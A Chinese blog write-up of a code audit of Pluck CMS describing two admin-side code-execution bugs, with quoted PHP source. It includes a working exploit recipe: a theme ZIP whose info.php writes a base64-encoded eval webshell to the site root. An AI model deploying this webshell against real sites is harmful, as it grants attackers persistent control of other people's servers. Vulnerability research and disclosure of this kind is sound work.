前言

本来是在cnvd上看到了有人发Pluck CMS的洞,但是没有公开细节,便想着自己挖一下。

但是审完第一个后发现已经有两位同学写出来了

当时自己的思路跟第一个同学一样,第二个同学的思路自己确实没有想到,佩服佩服。

但是心有不甘,自己就继续挖掘了一下,又发现了两处可以任意命令执行的地方。

正文

第一处:过滤不严导致单引号逃逸

这个跟第一篇思路一样,只不过找到了另一处未过滤的点

在function.php里面blog_save_post()函数

function blog_save_post($title, $category, $content, $current_seoname = null, $force_time = null) {

//Check if 'posts' directory exists, if not; create it.

if (!is_dir(BLOG_POSTS_DIR)) {

mkdir(BLOG_POSTS_DIR);

chmod(BLOG_POSTS_DIR, 0777);

}

//Create seo-filename

$seoname = seo_url($title);

//Sanitize variables.

$title = sanitize($title, true);

$content = sanitizePageContent($content, false);

if (!empty($current_seoname)) {

$current_filename = blog_get_post_filename($current_seoname);

$parts = explode('.', $current_filename);

$number = $parts[0];

//Get the post time.

include BLOG_POSTS_DIR.'/'.$current_filename;

if ($seoname != $current_seoname) {

unlink(BLOG_POSTS_DIR.'/'.$current_filename);

if (is_dir(BLOG_POSTS_DIR.'/'.$current_seoname))

rename(BLOG_POSTS_DIR.'/'.$current_seoname, BLOG_POSTS_DIR.'/'.$seoname);

}

}

else {

$files = read_dir_contents(BLOG_POSTS_DIR, 'files');

//Find the number.

if ($files) {

$number = count($files);

$number++;

}

else

$number = 1;

if (empty($force_time))

$post_time = time();

else

$post_time = $force_time;

}

//Save information.

$data['post_title'] = $title;

$data['post_category'] = $category;

$data['post_content'] = $content;

$data['post_time'] = $post_time;

save_file(BLOG_POSTS_DIR.'/'.$number.'.'.$seoname.'.php', $data);

//Return seoname under which post has been saved (to allow for redirect).

return $seoname;

}

其中

$data['post_title'] = $title;

$data['post_category'] = $category;

$data['post_content'] = $content;

$data['post_time'] = $post_time;

$title $content 均被过滤,$post_time不可控,$category可控

所以只要把$cont2变成我们的payload即可

第二处:安装模版+文件包含导致任意命令执行

很多CMS都会在安装模版的时候getshell,那么这里笔者也发现了类似的漏洞。

直接访问失败

首先准备一个shell.php里面是我们的phpinfo();

然后打包成shell.zip,直接上传主题

发现确实上传并且解压成功

但是由于目录下有.htaccess文件,直接把php设置为不可解析,所以无法直接访问

文件包含突破

所以就想到需要找一个位置对其进行包含,来达到执行的目的。

首先看到admin.php中关于theme的部分

跟进 data/inc/theme.php,发现调用了get_themes()方法

跟进 functions.all.php,查看get_themes()方法

function get_themes() {

$dirs = read_dir_contents('data/themes', 'dirs');

if ($dirs) {

natcasesort($dirs);

foreach ($dirs as $dir) {

if (file_exists('data/themes/'.$dir.'/info.php')) {

include_once ('data/themes/'.$dir.'/info.php');

$themes[] = array(

'title' => $themename,

'dir' => $dir

);

}

}

return $themes;

}

else

return false;

}

发现会遍历data/themes/下所有主题目录,并且包含他的info.php文件

此时info.php可控,就导致了任意代码执行。

利用方法

首先准备一个info.php

file_put_contents('x.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ21yNiddKTs/Pg=='));

?>

然后打包压缩成shell.zip

上传安装主题,然后点击回到主题页,此时触发文件包含。

然后根目录下就会生成我们的一句话x.php,密码是mr6

最后

本人水平有限,文笔较差,如果有什么写的不对的地方还希望大家能够不吝赐教

php里pluck,Pluck CMS后台另两处任意代码执行相关推荐

  1. Dedecms V5.7后台的两处getshell

    在这个帖子里我把两个洞一起写出来. 第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell. 漏洞代码在:/dede/sys_verifies. ...

  2. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  3. 达芬奇调色软件被曝两个远程代码执行缺陷

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Blackmagci Software 公司最近修复了非常热门的达芬奇调色 (DaVinci Resolve) 软件中的两个漏洞,它们可导致攻击 ...

  4. 开源计算机视觉库 OpenCV 被曝两个严重的任意代码执行漏洞(详情)

    聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 开源计算机视觉库 OpenCV中修复了两个高危的缓冲区溢出漏洞,它们本可导致任意代码执行的后果. OpenCV是一款开源库,它由Inte ...

  5. 骑士cms任意代码执行

    漏洞描述: 迅易科技 74cms是中国迅易科技公司的一套基于PHP和MySQL的在线招聘系统. 74cms version 5.0.1 存在安全漏洞,该漏洞源于应用管理控制器ConfigControl ...

  6. weblogic系列漏洞整理————8、WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)

    0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...

  7. vulfocus——骑士cms任意代码执行(CVE-2020-35339)

    描述 骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统. 后台账号密码均为adminadmin 复现 1.打开web页面 2.找到后台登陆界面 ip:port/i ...

  8. 骑士cms任意代码执行(CVE-2020-35339)

    本文章仅供学习使用,如用作非法用途,概不负责 0x01 漏洞介绍 骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统.由太原迅易科技有限公司于2009年正式推出.为 ...

  9. Discuz! X3.1 后台代码执行

    Discuz! X3.1 后台代码执行 漏洞描述 Discuz! X3.1后台存在任意代码执行问题,要后台权限. 实验步骤 一.访问后台地址: http://域名/admin.php 账号:admin ...

最新文章

  1. SVO 学习笔记(三)
  2. CNN是靠什么线索学习到深度信息的?——一个经验性探索
  3. 为什么要叫python-为什么我要学习python?
  4. CentOS 6.7安装Storm 0.9.7
  5. [转]PHP程序61条面向对象分析设计的经验原则
  6. spring发邮件_跟踪异常–第4部分– Spring的邮件发件人
  7. nginx 一个请求发给多台机器_一个机器人可以同时为多台数控机床上下料吗?东智力衡...
  8. 漫步数理统计二十二——二项及相关分布
  9. Irc 客户端 Android,Revolution IRC | F-Droid - Free and Open Source Android App Repository
  10. Struts 2拦截器
  11. 惠普HP CQ40 519TX XP系统安装以及XP驱动
  12. CHERRY樱桃机械键盘按键
  13. 网络安全之黑客入侵的步骤
  14. 【ImgtuUtil】路过图床基础 Java 工具类(支持登录、上传、删除图片等操作)
  15. 在群晖上搭建基于 PostgreSQL 的 Joplin Server
  16. G-sensor概述及常用芯片整理(转)
  17. VMware虚拟机中安装苹果系统MacOS 10.12 Sierra
  18. 我有一台云服务器,可以干什么?
  19. 利息积数的计算方法及应用
  20. Shoprxr 开源电商系统

热门文章

  1. 可任意切换分频倍数的时钟分频电路
  2. 【接箱子2.0】新手划过,dalao勿喷
  3. Holy Grail 圣杯布局详解
  4. In Search of the Holy Grail 寻找圣杯 中文翻译
  5. html怎么设置点击播放音乐,html5点击播放音乐试听按钮动画特效
  6. 复旦提出M2TR:首个多模态多尺度Transformer
  7. xml 硕正报表_硕正轻量级富Web应用套件–硕正报表主要指标及功能清单
  8. BZOJ2144: 跳跳棋
  9. terminate called after throwing an instance of ‘YAML::TypedBadConversion<int>‘ what(): bad conver
  10. [《小女人的高跟鞋》偶感小记]2012年8月28日